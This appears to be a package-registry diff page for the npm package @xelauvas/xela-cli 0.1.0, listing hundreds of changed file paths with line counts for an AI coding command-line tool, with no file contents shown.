@xelauvas/xela-cli 0.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (1920) hide show
  1. package/README.md +200 -0
  2. package/bin/xela +100 -0
  3. package/package.json +88 -0
  4. package/src/QueryEngine.ts +1295 -0
  5. package/src/Task.ts +125 -0
  6. package/src/Tool.ts +792 -0
  7. package/src/_shims/_generated_stubs/_universal_stub.mjs +168 -0
  8. package/src/_shims/_generated_stubs/text_stub.mjs +1 -0
  9. package/src/_shims/bun_bundle.js +9 -0
  10. package/src/_shims/cjs_stub.cjs +23 -0
  11. package/src/_shims/empty_stub.js +33 -0
  12. package/src/_shims/loader.js +352 -0
  13. package/src/_shims/openai_adapter.ts +486 -0
  14. package/src/_shims/react_compiler_runtime.js +17 -0
  15. package/src/_shims/register.js +148 -0
  16. package/src/assistant/sessionHistory.ts +87 -0
  17. package/src/bootstrap/state.ts +1759 -0
  18. package/src/bridge/bridgeApi.ts +539 -0
  19. package/src/bridge/bridgeConfig.ts +48 -0
  20. package/src/bridge/bridgeDebug.ts +135 -0
  21. package/src/bridge/bridgeEnabled.ts +202 -0
  22. package/src/bridge/bridgeMain.ts +2999 -0
  23. package/src/bridge/bridgeMessaging.ts +461 -0
  24. package/src/bridge/bridgePermissionCallbacks.ts +43 -0
  25. package/src/bridge/bridgePointer.ts +210 -0
  26. package/src/bridge/bridgeStatusUtil.ts +163 -0
  27. package/src/bridge/bridgeUI.ts +530 -0
  28. package/src/bridge/capacityWake.ts +56 -0
  29. package/src/bridge/codeSessionApi.ts +168 -0
  30. package/src/bridge/createSession.ts +384 -0
  31. package/src/bridge/debugUtils.ts +141 -0
  32. package/src/bridge/envLessBridgeConfig.ts +165 -0
  33. package/src/bridge/flushGate.ts +71 -0
  34. package/src/bridge/inboundAttachments.ts +175 -0
  35. package/src/bridge/inboundMessages.ts +80 -0
  36. package/src/bridge/initReplBridge.ts +569 -0
  37. package/src/bridge/jwtUtils.ts +256 -0
  38. package/src/bridge/pollConfig.ts +110 -0
  39. package/src/bridge/pollConfigDefaults.ts +82 -0
  40. package/src/bridge/remoteBridgeCore.ts +1008 -0
  41. package/src/bridge/replBridge.ts +2406 -0
  42. package/src/bridge/replBridgeHandle.ts +36 -0
  43. package/src/bridge/replBridgeTransport.ts +370 -0
  44. package/src/bridge/sessionIdCompat.ts +57 -0
  45. package/src/bridge/sessionRunner.ts +550 -0
  46. package/src/bridge/trustedDevice.ts +210 -0
  47. package/src/bridge/types.ts +262 -0
  48. package/src/bridge/workSecret.ts +127 -0
  49. package/src/buddy/CompanionSprite.tsx +371 -0
  50. package/src/buddy/companion.ts +133 -0
  51. package/src/buddy/prompt.ts +36 -0
  52. package/src/buddy/sprites.ts +514 -0
  53. package/src/buddy/types.ts +148 -0
  54. package/src/buddy/useBuddyNotification.tsx +98 -0
  55. package/src/cli/exit.ts +31 -0
  56. package/src/cli/handlers/agents.ts +70 -0
  57. package/src/cli/handlers/auth.ts +330 -0
  58. package/src/cli/handlers/autoMode.ts +170 -0
  59. package/src/cli/handlers/mcp.tsx +362 -0
  60. package/src/cli/handlers/plugins.ts +878 -0
  61. package/src/cli/handlers/util.tsx +110 -0
  62. package/src/cli/ndjsonSafeStringify.ts +32 -0
  63. package/src/cli/print.ts +5594 -0
  64. package/src/cli/remoteIO.ts +255 -0
  65. package/src/cli/structuredIO.ts +859 -0
  66. package/src/cli/transports/HybridTransport.ts +282 -0
  67. package/src/cli/transports/SSETransport.ts +711 -0
  68. package/src/cli/transports/SerialBatchEventUploader.ts +275 -0
  69. package/src/cli/transports/WebSocketTransport.ts +800 -0
  70. package/src/cli/transports/WorkerStateUploader.ts +131 -0
  71. package/src/cli/transports/ccrClient.ts +998 -0
  72. package/src/cli/transports/transportUtils.ts +45 -0
  73. package/src/cli/update.ts +422 -0
  74. package/src/commands/add-dir/add-dir.tsx +126 -0
  75. package/src/commands/add-dir/index.ts +11 -0
  76. package/src/commands/add-dir/validation.ts +110 -0
  77. package/src/commands/advisor.ts +109 -0
  78. package/src/commands/agents/agents.tsx +12 -0
  79. package/src/commands/agents/index.ts +10 -0
  80. package/src/commands/ant-trace/index.js +1 -0
  81. package/src/commands/autofix-pr/index.js +1 -0
  82. package/src/commands/backfill-sessions/index.js +1 -0
  83. package/src/commands/branch/branch.ts +296 -0
  84. package/src/commands/branch/index.ts +14 -0
  85. package/src/commands/break-cache/index.js +1 -0
  86. package/src/commands/bridge/bridge.tsx +509 -0
  87. package/src/commands/bridge/index.ts +26 -0
  88. package/src/commands/bridge-kick.ts +200 -0
  89. package/src/commands/brief.ts +130 -0
  90. package/src/commands/btw/btw.tsx +243 -0
  91. package/src/commands/btw/index.ts +13 -0
  92. package/src/commands/bughunter/index.js +1 -0
  93. package/src/commands/chrome/chrome.tsx +285 -0
  94. package/src/commands/chrome/index.ts +13 -0
  95. package/src/commands/clear/caches.ts +144 -0
  96. package/src/commands/clear/clear.ts +7 -0
  97. package/src/commands/clear/conversation.ts +251 -0
  98. package/src/commands/clear/index.ts +19 -0
  99. package/src/commands/color/color.ts +93 -0
  100. package/src/commands/color/index.ts +16 -0
  101. package/src/commands/commit-push-pr.ts +158 -0
  102. package/src/commands/commit.ts +92 -0
  103. package/src/commands/compact/compact.ts +287 -0
  104. package/src/commands/compact/index.ts +15 -0
  105. package/src/commands/config/config.tsx +7 -0
  106. package/src/commands/config/index.ts +11 -0
  107. package/src/commands/context/context-noninteractive.ts +325 -0
  108. package/src/commands/context/context.tsx +64 -0
  109. package/src/commands/context/index.ts +24 -0
  110. package/src/commands/copy/copy.tsx +371 -0
  111. package/src/commands/copy/index.ts +15 -0
  112. package/src/commands/cost/cost.ts +24 -0
  113. package/src/commands/cost/index.ts +23 -0
  114. package/src/commands/createMovedToPluginCommand.ts +65 -0
  115. package/src/commands/ctx_viz/index.js +1 -0
  116. package/src/commands/debug-tool-call/index.js +1 -0
  117. package/src/commands/desktop/desktop.tsx +9 -0
  118. package/src/commands/desktop/index.ts +26 -0
  119. package/src/commands/diff/diff.tsx +9 -0
  120. package/src/commands/diff/index.ts +8 -0
  121. package/src/commands/doctor/doctor.tsx +7 -0
  122. package/src/commands/doctor/index.ts +12 -0
  123. package/src/commands/effort/effort.tsx +183 -0
  124. package/src/commands/effort/index.ts +13 -0
  125. package/src/commands/env/index.js +1 -0
  126. package/src/commands/exit/exit.tsx +33 -0
  127. package/src/commands/exit/index.ts +12 -0
  128. package/src/commands/export/export.tsx +91 -0
  129. package/src/commands/export/index.ts +11 -0
  130. package/src/commands/extra-usage/extra-usage-core.ts +118 -0
  131. package/src/commands/extra-usage/extra-usage-noninteractive.ts +16 -0
  132. package/src/commands/extra-usage/extra-usage.tsx +17 -0
  133. package/src/commands/extra-usage/index.ts +31 -0
  134. package/src/commands/fast/fast.tsx +269 -0
  135. package/src/commands/fast/index.ts +26 -0
  136. package/src/commands/feedback/feedback.tsx +25 -0
  137. package/src/commands/feedback/index.ts +26 -0
  138. package/src/commands/files/files.ts +19 -0
  139. package/src/commands/files/index.ts +12 -0
  140. package/src/commands/good-claude/index.js +1 -0
  141. package/src/commands/heapdump/heapdump.ts +17 -0
  142. package/src/commands/heapdump/index.ts +12 -0
  143. package/src/commands/help/help.tsx +11 -0
  144. package/src/commands/help/index.ts +10 -0
  145. package/src/commands/hooks/hooks.tsx +13 -0
  146. package/src/commands/hooks/index.ts +11 -0
  147. package/src/commands/ide/ide.tsx +646 -0
  148. package/src/commands/ide/index.ts +11 -0
  149. package/src/commands/init-verifiers.ts +262 -0
  150. package/src/commands/init.ts +256 -0
  151. package/src/commands/insights.ts +3200 -0
  152. package/src/commands/install-github-app/ApiKeyStep.tsx +231 -0
  153. package/src/commands/install-github-app/CheckExistingSecretStep.tsx +190 -0
  154. package/src/commands/install-github-app/CheckGitHubStep.tsx +15 -0
  155. package/src/commands/install-github-app/ChooseRepoStep.tsx +211 -0
  156. package/src/commands/install-github-app/CreatingStep.tsx +65 -0
  157. package/src/commands/install-github-app/ErrorStep.tsx +85 -0
  158. package/src/commands/install-github-app/ExistingWorkflowStep.tsx +103 -0
  159. package/src/commands/install-github-app/InstallAppStep.tsx +94 -0
  160. package/src/commands/install-github-app/OAuthFlowStep.tsx +276 -0
  161. package/src/commands/install-github-app/SuccessStep.tsx +96 -0
  162. package/src/commands/install-github-app/WarningsStep.tsx +73 -0
  163. package/src/commands/install-github-app/index.ts +13 -0
  164. package/src/commands/install-github-app/install-github-app.tsx +587 -0
  165. package/src/commands/install-github-app/setupGitHubActions.ts +325 -0
  166. package/src/commands/install-slack-app/index.ts +12 -0
  167. package/src/commands/install-slack-app/install-slack-app.ts +30 -0
  168. package/src/commands/install.tsx +300 -0
  169. package/src/commands/issue/index.js +1 -0
  170. package/src/commands/keybindings/index.ts +13 -0
  171. package/src/commands/keybindings/keybindings.ts +53 -0
  172. package/src/commands/login/index.ts +14 -0
  173. package/src/commands/login/login.tsx +104 -0
  174. package/src/commands/logout/index.ts +10 -0
  175. package/src/commands/logout/logout.tsx +82 -0
  176. package/src/commands/mcp/addCommand.ts +280 -0
  177. package/src/commands/mcp/index.ts +12 -0
  178. package/src/commands/mcp/mcp.tsx +85 -0
  179. package/src/commands/mcp/xaaIdpCommand.ts +266 -0
  180. package/src/commands/memory/index.ts +10 -0
  181. package/src/commands/memory/memory.tsx +90 -0
  182. package/src/commands/mobile/index.ts +11 -0
  183. package/src/commands/mobile/mobile.tsx +274 -0
  184. package/src/commands/mock-limits/index.js +1 -0
  185. package/src/commands/model/index.ts +16 -0
  186. package/src/commands/model/model.tsx +297 -0
  187. package/src/commands/oauth-refresh/index.js +1 -0
  188. package/src/commands/onboarding/index.js +1 -0
  189. package/src/commands/output-style/index.ts +11 -0
  190. package/src/commands/output-style/output-style.tsx +7 -0
  191. package/src/commands/passes/index.ts +22 -0
  192. package/src/commands/passes/passes.tsx +24 -0
  193. package/src/commands/perf-issue/index.js +1 -0
  194. package/src/commands/permissions/index.ts +11 -0
  195. package/src/commands/permissions/permissions.tsx +10 -0
  196. package/src/commands/plan/index.ts +11 -0
  197. package/src/commands/plan/plan.tsx +122 -0
  198. package/src/commands/plugin/AddMarketplace.tsx +162 -0
  199. package/src/commands/plugin/BrowseMarketplace.tsx +802 -0
  200. package/src/commands/plugin/DiscoverPlugins.tsx +781 -0
  201. package/src/commands/plugin/ManageMarketplaces.tsx +838 -0
  202. package/src/commands/plugin/ManagePlugins.tsx +2215 -0
  203. package/src/commands/plugin/PluginErrors.tsx +124 -0
  204. package/src/commands/plugin/PluginOptionsDialog.tsx +357 -0
  205. package/src/commands/plugin/PluginOptionsFlow.tsx +135 -0
  206. package/src/commands/plugin/PluginSettings.tsx +1072 -0
  207. package/src/commands/plugin/PluginTrustWarning.tsx +32 -0
  208. package/src/commands/plugin/UnifiedInstalledCell.tsx +565 -0
  209. package/src/commands/plugin/ValidatePlugin.tsx +98 -0
  210. package/src/commands/plugin/index.tsx +11 -0
  211. package/src/commands/plugin/parseArgs.ts +103 -0
  212. package/src/commands/plugin/plugin.tsx +7 -0
  213. package/src/commands/plugin/pluginDetailsHelpers.tsx +117 -0
  214. package/src/commands/plugin/usePagination.ts +171 -0
  215. package/src/commands/pr_comments/index.ts +50 -0
  216. package/src/commands/privacy-settings/index.ts +14 -0
  217. package/src/commands/privacy-settings/privacy-settings.tsx +58 -0
  218. package/src/commands/rate-limit-options/index.ts +19 -0
  219. package/src/commands/rate-limit-options/rate-limit-options.tsx +210 -0
  220. package/src/commands/release-notes/index.ts +11 -0
  221. package/src/commands/release-notes/release-notes.ts +50 -0
  222. package/src/commands/reload-plugins/index.ts +18 -0
  223. package/src/commands/reload-plugins/reload-plugins.ts +61 -0
  224. package/src/commands/remote-env/index.ts +15 -0
  225. package/src/commands/remote-env/remote-env.tsx +7 -0
  226. package/src/commands/remote-setup/api.ts +182 -0
  227. package/src/commands/remote-setup/index.ts +20 -0
  228. package/src/commands/remote-setup/remote-setup.tsx +187 -0
  229. package/src/commands/rename/generateSessionName.ts +67 -0
  230. package/src/commands/rename/index.ts +12 -0
  231. package/src/commands/rename/rename.ts +87 -0
  232. package/src/commands/reset-limits/index.js +4 -0
  233. package/src/commands/resume/index.ts +12 -0
  234. package/src/commands/resume/resume.tsx +275 -0
  235. package/src/commands/review/UltrareviewOverageDialog.tsx +96 -0
  236. package/src/commands/review/reviewRemote.ts +316 -0
  237. package/src/commands/review/ultrareviewCommand.tsx +58 -0
  238. package/src/commands/review/ultrareviewEnabled.ts +14 -0
  239. package/src/commands/review.ts +57 -0
  240. package/src/commands/rewind/index.ts +13 -0
  241. package/src/commands/rewind/rewind.ts +13 -0
  242. package/src/commands/sandbox-toggle/index.ts +50 -0
  243. package/src/commands/sandbox-toggle/sandbox-toggle.tsx +83 -0
  244. package/src/commands/security-review.ts +243 -0
  245. package/src/commands/session/index.ts +16 -0
  246. package/src/commands/session/session.tsx +140 -0
  247. package/src/commands/share/index.js +1 -0
  248. package/src/commands/skills/index.ts +10 -0
  249. package/src/commands/skills/skills.tsx +8 -0
  250. package/src/commands/stats/index.ts +10 -0
  251. package/src/commands/stats/stats.tsx +7 -0
  252. package/src/commands/status/index.ts +12 -0
  253. package/src/commands/status/status.tsx +8 -0
  254. package/src/commands/statusline.tsx +24 -0
  255. package/src/commands/stickers/index.ts +11 -0
  256. package/src/commands/stickers/stickers.ts +16 -0
  257. package/src/commands/summary/index.js +1 -0
  258. package/src/commands/tag/index.ts +12 -0
  259. package/src/commands/tag/tag.tsx +215 -0
  260. package/src/commands/tasks/index.ts +11 -0
  261. package/src/commands/tasks/tasks.tsx +8 -0
  262. package/src/commands/teleport/index.js +1 -0
  263. package/src/commands/terminalSetup/index.ts +23 -0
  264. package/src/commands/terminalSetup/terminalSetup.tsx +531 -0
  265. package/src/commands/theme/index.ts +10 -0
  266. package/src/commands/theme/theme.tsx +57 -0
  267. package/src/commands/thinkback/index.ts +13 -0
  268. package/src/commands/thinkback/thinkback.tsx +554 -0
  269. package/src/commands/thinkback-play/index.ts +17 -0
  270. package/src/commands/thinkback-play/thinkback-play.ts +43 -0
  271. package/src/commands/ultraplan.tsx +471 -0
  272. package/src/commands/upgrade/index.ts +16 -0
  273. package/src/commands/upgrade/upgrade.tsx +38 -0
  274. package/src/commands/usage/index.ts +9 -0
  275. package/src/commands/usage/usage.tsx +7 -0
  276. package/src/commands/version.ts +22 -0
  277. package/src/commands/vim/index.ts +11 -0
  278. package/src/commands/vim/vim.ts +38 -0
  279. package/src/commands/voice/index.ts +20 -0
  280. package/src/commands/voice/voice.ts +150 -0
  281. package/src/commands.ts +754 -0
  282. package/src/components/AgentProgressLine.tsx +136 -0
  283. package/src/components/App.tsx +56 -0
  284. package/src/components/ApproveApiKey.tsx +123 -0
  285. package/src/components/AutoModeOptInDialog.tsx +142 -0
  286. package/src/components/AutoUpdater.tsx +198 -0
  287. package/src/components/AutoUpdaterWrapper.tsx +91 -0
  288. package/src/components/AwsAuthStatusBox.tsx +82 -0
  289. package/src/components/BaseTextInput.tsx +136 -0
  290. package/src/components/BashModeProgress.tsx +56 -0
  291. package/src/components/BridgeDialog.tsx +401 -0
  292. package/src/components/BypassPermissionsModeDialog.tsx +87 -0
  293. package/src/components/ChannelDowngradeDialog.tsx +102 -0
  294. package/src/components/ClaudeCodeHint/PluginHintMenu.tsx +78 -0
  295. package/src/components/ClaudeInChromeOnboarding.tsx +121 -0
  296. package/src/components/ClaudeMdExternalIncludesDialog.tsx +137 -0
  297. package/src/components/ClickableImageRef.tsx +73 -0
  298. package/src/components/CompactSummary.tsx +118 -0
  299. package/src/components/ConfigurableShortcutHint.tsx +57 -0
  300. package/src/components/ConsoleOAuthFlow.tsx +631 -0
  301. package/src/components/ContextSuggestions.tsx +47 -0
  302. package/src/components/ContextVisualization.tsx +489 -0
  303. package/src/components/CoordinatorAgentStatus.tsx +273 -0
  304. package/src/components/CostThresholdDialog.tsx +50 -0
  305. package/src/components/CtrlOToExpand.tsx +51 -0
  306. package/src/components/CustomSelect/SelectMulti.tsx +213 -0
  307. package/src/components/CustomSelect/index.ts +3 -0
  308. package/src/components/CustomSelect/option-map.ts +50 -0
  309. package/src/components/CustomSelect/select-input-option.tsx +488 -0
  310. package/src/components/CustomSelect/select-option.tsx +68 -0
  311. package/src/components/CustomSelect/select.tsx +690 -0
  312. package/src/components/CustomSelect/use-multi-select-state.ts +414 -0
  313. package/src/components/CustomSelect/use-select-input.ts +287 -0
  314. package/src/components/CustomSelect/use-select-navigation.ts +653 -0
  315. package/src/components/CustomSelect/use-select-state.ts +157 -0
  316. package/src/components/DesktopHandoff.tsx +193 -0
  317. package/src/components/DesktopUpsell/DesktopUpsellStartup.tsx +171 -0
  318. package/src/components/DevBar.tsx +49 -0
  319. package/src/components/DevChannelsDialog.tsx +105 -0
  320. package/src/components/DiagnosticsDisplay.tsx +95 -0
  321. package/src/components/EffortCallout.tsx +265 -0
  322. package/src/components/EffortIndicator.ts +42 -0
  323. package/src/components/ExitFlow.tsx +48 -0
  324. package/src/components/ExportDialog.tsx +128 -0
  325. package/src/components/FallbackToolUseErrorMessage.tsx +116 -0
  326. package/src/components/FallbackToolUseRejectedMessage.tsx +16 -0
  327. package/src/components/FastIcon.tsx +46 -0
  328. package/src/components/Feedback.tsx +592 -0
  329. package/src/components/FeedbackSurvey/FeedbackSurvey.tsx +174 -0
  330. package/src/components/FeedbackSurvey/FeedbackSurveyView.tsx +108 -0
  331. package/src/components/FeedbackSurvey/TranscriptSharePrompt.tsx +88 -0
  332. package/src/components/FeedbackSurvey/submitTranscriptShare.ts +112 -0
  333. package/src/components/FeedbackSurvey/useDebouncedDigitInput.ts +82 -0
  334. package/src/components/FeedbackSurvey/useFeedbackSurvey.tsx +296 -0
  335. package/src/components/FeedbackSurvey/useMemorySurvey.tsx +213 -0
  336. package/src/components/FeedbackSurvey/usePostCompactSurvey.tsx +206 -0
  337. package/src/components/FeedbackSurvey/useSurveyState.tsx +100 -0
  338. package/src/components/FileEditToolDiff.tsx +181 -0
  339. package/src/components/FileEditToolUpdatedMessage.tsx +124 -0
  340. package/src/components/FileEditToolUseRejectedMessage.tsx +170 -0
  341. package/src/components/FilePathLink.tsx +43 -0
  342. package/src/components/FullscreenLayout.tsx +637 -0
  343. package/src/components/GlobalSearchDialog.tsx +343 -0
  344. package/src/components/HelpV2/Commands.tsx +82 -0
  345. package/src/components/HelpV2/General.tsx +23 -0
  346. package/src/components/HelpV2/HelpV2.tsx +184 -0
  347. package/src/components/HighlightedCode/Fallback.tsx +193 -0
  348. package/src/components/HighlightedCode.tsx +190 -0
  349. package/src/components/HistorySearchDialog.tsx +118 -0
  350. package/src/components/IdeAutoConnectDialog.tsx +154 -0
  351. package/src/components/IdeOnboardingDialog.tsx +167 -0
  352. package/src/components/IdeStatusIndicator.tsx +58 -0
  353. package/src/components/IdleReturnDialog.tsx +118 -0
  354. package/src/components/InterruptedByUser.tsx +15 -0
  355. package/src/components/InvalidConfigDialog.tsx +156 -0
  356. package/src/components/InvalidSettingsDialog.tsx +89 -0
  357. package/src/components/KeybindingWarnings.tsx +55 -0
  358. package/src/components/LanguagePicker.tsx +86 -0
  359. package/src/components/LogSelector.tsx +1575 -0
  360. package/src/components/LogoV2/AnimatedAsterisk.tsx +50 -0
  361. package/src/components/LogoV2/AnimatedClawd.tsx +124 -0
  362. package/src/components/LogoV2/ChannelsNotice.tsx +266 -0
  363. package/src/components/LogoV2/Clawd.tsx +240 -0
  364. package/src/components/LogoV2/CondensedLogo.tsx +161 -0
  365. package/src/components/LogoV2/EmergencyTip.tsx +58 -0
  366. package/src/components/LogoV2/Feed.tsx +112 -0
  367. package/src/components/LogoV2/FeedColumn.tsx +59 -0
  368. package/src/components/LogoV2/GuestPassesUpsell.tsx +70 -0
  369. package/src/components/LogoV2/LogoV2.tsx +543 -0
  370. package/src/components/LogoV2/Opus1mMergeNotice.tsx +55 -0
  371. package/src/components/LogoV2/OverageCreditUpsell.tsx +166 -0
  372. package/src/components/LogoV2/VoiceModeNotice.tsx +68 -0
  373. package/src/components/LogoV2/WelcomeV2.tsx +433 -0
  374. package/src/components/LogoV2/feedConfigs.tsx +92 -0
  375. package/src/components/LspRecommendation/LspRecommendationMenu.tsx +88 -0
  376. package/src/components/MCPServerApprovalDialog.tsx +115 -0
  377. package/src/components/MCPServerDesktopImportDialog.tsx +203 -0
  378. package/src/components/MCPServerDialogCopy.tsx +15 -0
  379. package/src/components/MCPServerMultiselectDialog.tsx +133 -0
  380. package/src/components/ManagedSettingsSecurityDialog/ManagedSettingsSecurityDialog.tsx +149 -0
  381. package/src/components/ManagedSettingsSecurityDialog/utils.ts +144 -0
  382. package/src/components/Markdown.tsx +236 -0
  383. package/src/components/MarkdownTable.tsx +322 -0
  384. package/src/components/MemoryUsageIndicator.tsx +37 -0
  385. package/src/components/Message.tsx +627 -0
  386. package/src/components/MessageModel.tsx +43 -0
  387. package/src/components/MessageResponse.tsx +78 -0
  388. package/src/components/MessageRow.tsx +383 -0
  389. package/src/components/MessageSelector.tsx +831 -0
  390. package/src/components/MessageTimestamp.tsx +63 -0
  391. package/src/components/Messages.tsx +834 -0
  392. package/src/components/ModelPicker.tsx +448 -0
  393. package/src/components/NativeAutoUpdater.tsx +193 -0
  394. package/src/components/NotebookEditToolUseRejectedMessage.tsx +92 -0
  395. package/src/components/OffscreenFreeze.tsx +44 -0
  396. package/src/components/Onboarding.tsx +244 -0
  397. package/src/components/OutputStylePicker.tsx +112 -0
  398. package/src/components/PackageManagerAutoUpdater.tsx +104 -0
  399. package/src/components/Passes/Passes.tsx +184 -0
  400. package/src/components/PrBadge.tsx +97 -0
  401. package/src/components/PressEnterToContinue.tsx +15 -0
  402. package/src/components/PromptInput/HistorySearchInput.tsx +51 -0
  403. package/src/components/PromptInput/IssueFlagBanner.tsx +12 -0
  404. package/src/components/PromptInput/Notifications.tsx +332 -0
  405. package/src/components/PromptInput/PromptInput.tsx +2339 -0
  406. package/src/components/PromptInput/PromptInputFooter.tsx +191 -0
  407. package/src/components/PromptInput/PromptInputFooterLeftSide.tsx +517 -0
  408. package/src/components/PromptInput/PromptInputFooterSuggestions.tsx +293 -0
  409. package/src/components/PromptInput/PromptInputHelpMenu.tsx +358 -0
  410. package/src/components/PromptInput/PromptInputModeIndicator.tsx +93 -0
  411. package/src/components/PromptInput/PromptInputQueuedCommands.tsx +117 -0
  412. package/src/components/PromptInput/PromptInputStashNotice.tsx +25 -0
  413. package/src/components/PromptInput/SandboxPromptFooterHint.tsx +64 -0
  414. package/src/components/PromptInput/ShimmeredInput.tsx +143 -0
  415. package/src/components/PromptInput/VoiceIndicator.tsx +137 -0
  416. package/src/components/PromptInput/inputModes.ts +33 -0
  417. package/src/components/PromptInput/inputPaste.ts +90 -0
  418. package/src/components/PromptInput/useMaybeTruncateInput.ts +58 -0
  419. package/src/components/PromptInput/usePromptInputPlaceholder.ts +76 -0
  420. package/src/components/PromptInput/useShowFastIconHint.ts +31 -0
  421. package/src/components/PromptInput/useSwarmBanner.ts +155 -0
  422. package/src/components/PromptInput/utils.ts +60 -0
  423. package/src/components/QuickOpenDialog.tsx +244 -0
  424. package/src/components/RemoteCallout.tsx +76 -0
  425. package/src/components/RemoteEnvironmentDialog.tsx +340 -0
  426. package/src/components/ResumeTask.tsx +268 -0
  427. package/src/components/SandboxViolationExpandedView.tsx +99 -0
  428. package/src/components/ScrollKeybindingHandler.tsx +1012 -0
  429. package/src/components/SearchBox.tsx +72 -0
  430. package/src/components/SentryErrorBoundary.ts +28 -0
  431. package/src/components/SessionBackgroundHint.tsx +108 -0
  432. package/src/components/SessionPreview.tsx +194 -0
  433. package/src/components/Settings/Config.tsx +1822 -0
  434. package/src/components/Settings/Settings.tsx +137 -0
  435. package/src/components/Settings/Status.tsx +241 -0
  436. package/src/components/Settings/Usage.tsx +377 -0
  437. package/src/components/ShowInIDEPrompt.tsx +170 -0
  438. package/src/components/SkillImprovementSurvey.tsx +152 -0
  439. package/src/components/Spinner/FlashingChar.tsx +61 -0
  440. package/src/components/Spinner/GlimmerMessage.tsx +328 -0
  441. package/src/components/Spinner/ShimmerChar.tsx +36 -0
  442. package/src/components/Spinner/SpinnerAnimationRow.tsx +265 -0
  443. package/src/components/Spinner/SpinnerGlyph.tsx +80 -0
  444. package/src/components/Spinner/TeammateSpinnerLine.tsx +233 -0
  445. package/src/components/Spinner/TeammateSpinnerTree.tsx +272 -0
  446. package/src/components/Spinner/index.ts +10 -0
  447. package/src/components/Spinner/teammateSelectHint.ts +1 -0
  448. package/src/components/Spinner/useShimmerAnimation.ts +31 -0
  449. package/src/components/Spinner/useStalledAnimation.ts +75 -0
  450. package/src/components/Spinner/utils.ts +84 -0
  451. package/src/components/Spinner.tsx +562 -0
  452. package/src/components/Stats.tsx +1228 -0
  453. package/src/components/StatusLine.tsx +324 -0
  454. package/src/components/StatusNotices.tsx +55 -0
  455. package/src/components/StructuredDiff/Fallback.tsx +487 -0
  456. package/src/components/StructuredDiff/colorDiff.ts +37 -0
  457. package/src/components/StructuredDiff.tsx +190 -0
  458. package/src/components/StructuredDiffList.tsx +30 -0
  459. package/src/components/TagTabs.tsx +139 -0
  460. package/src/components/TaskListV2.tsx +378 -0
  461. package/src/components/TeammateViewHeader.tsx +82 -0
  462. package/src/components/TeleportError.tsx +189 -0
  463. package/src/components/TeleportProgress.tsx +140 -0
  464. package/src/components/TeleportRepoMismatchDialog.tsx +104 -0
  465. package/src/components/TeleportResumeWrapper.tsx +167 -0
  466. package/src/components/TeleportStash.tsx +116 -0
  467. package/src/components/TextInput.tsx +124 -0
  468. package/src/components/ThemePicker.tsx +333 -0
  469. package/src/components/ThinkingToggle.tsx +153 -0
  470. package/src/components/TokenWarning.tsx +179 -0
  471. package/src/components/ToolUseLoader.tsx +42 -0
  472. package/src/components/TrustDialog/TrustDialog.tsx +290 -0
  473. package/src/components/TrustDialog/utils.ts +245 -0
  474. package/src/components/ValidationErrorsList.tsx +148 -0
  475. package/src/components/VimTextInput.tsx +140 -0
  476. package/src/components/VirtualMessageList.tsx +1082 -0
  477. package/src/components/WorkflowMultiselectDialog.tsx +128 -0
  478. package/src/components/WorktreeExitDialog.tsx +231 -0
  479. package/src/components/agents/AgentDetail.tsx +220 -0
  480. package/src/components/agents/AgentEditor.tsx +178 -0
  481. package/src/components/agents/AgentNavigationFooter.tsx +26 -0
  482. package/src/components/agents/AgentsList.tsx +440 -0
  483. package/src/components/agents/AgentsMenu.tsx +800 -0
  484. package/src/components/agents/ColorPicker.tsx +112 -0
  485. package/src/components/agents/ModelSelector.tsx +68 -0
  486. package/src/components/agents/ToolSelector.tsx +562 -0
  487. package/src/components/agents/agentFileUtils.ts +272 -0
  488. package/src/components/agents/generateAgent.ts +197 -0
  489. package/src/components/agents/new-agent-creation/CreateAgentWizard.tsx +97 -0
  490. package/src/components/agents/new-agent-creation/wizard-steps/ColorStep.tsx +84 -0
  491. package/src/components/agents/new-agent-creation/wizard-steps/ConfirmStep.tsx +378 -0
  492. package/src/components/agents/new-agent-creation/wizard-steps/ConfirmStepWrapper.tsx +74 -0
  493. package/src/components/agents/new-agent-creation/wizard-steps/DescriptionStep.tsx +123 -0
  494. package/src/components/agents/new-agent-creation/wizard-steps/GenerateStep.tsx +143 -0
  495. package/src/components/agents/new-agent-creation/wizard-steps/LocationStep.tsx +80 -0
  496. package/src/components/agents/new-agent-creation/wizard-steps/MemoryStep.tsx +113 -0
  497. package/src/components/agents/new-agent-creation/wizard-steps/MethodStep.tsx +80 -0
  498. package/src/components/agents/new-agent-creation/wizard-steps/ModelStep.tsx +52 -0
  499. package/src/components/agents/new-agent-creation/wizard-steps/PromptStep.tsx +128 -0
  500. package/src/components/agents/new-agent-creation/wizard-steps/ToolsStep.tsx +61 -0
  501. package/src/components/agents/new-agent-creation/wizard-steps/TypeStep.tsx +103 -0
  502. package/src/components/agents/types.ts +27 -0
  503. package/src/components/agents/utils.ts +18 -0
  504. package/src/components/agents/validateAgent.ts +109 -0
  505. package/src/components/design-system/Byline.tsx +77 -0
  506. package/src/components/design-system/Dialog.tsx +138 -0
  507. package/src/components/design-system/Divider.tsx +149 -0
  508. package/src/components/design-system/FuzzyPicker.tsx +312 -0
  509. package/src/components/design-system/KeyboardShortcutHint.tsx +81 -0
  510. package/src/components/design-system/ListItem.tsx +244 -0
  511. package/src/components/design-system/LoadingState.tsx +94 -0
  512. package/src/components/design-system/Pane.tsx +77 -0
  513. package/src/components/design-system/ProgressBar.tsx +86 -0
  514. package/src/components/design-system/Ratchet.tsx +80 -0
  515. package/src/components/design-system/StatusIcon.tsx +95 -0
  516. package/src/components/design-system/Tabs.tsx +340 -0
  517. package/src/components/design-system/ThemeProvider.tsx +174 -0
  518. package/src/components/design-system/ThemedBox.tsx +156 -0
  519. package/src/components/design-system/ThemedText.tsx +124 -0
  520. package/src/components/design-system/color.ts +30 -0
  521. package/src/components/diff/DiffDetailView.tsx +281 -0
  522. package/src/components/diff/DiffDialog.tsx +383 -0
  523. package/src/components/diff/DiffFileList.tsx +292 -0
  524. package/src/components/grove/Grove.tsx +463 -0
  525. package/src/components/hooks/HooksConfigMenu.tsx +578 -0
  526. package/src/components/hooks/PromptDialog.tsx +90 -0
  527. package/src/components/hooks/SelectEventMode.tsx +127 -0
  528. package/src/components/hooks/SelectHookMode.tsx +112 -0
  529. package/src/components/hooks/SelectMatcherMode.tsx +144 -0
  530. package/src/components/hooks/ViewHookMode.tsx +199 -0
  531. package/src/components/mcp/CapabilitiesSection.tsx +61 -0
  532. package/src/components/mcp/ElicitationDialog.tsx +1169 -0
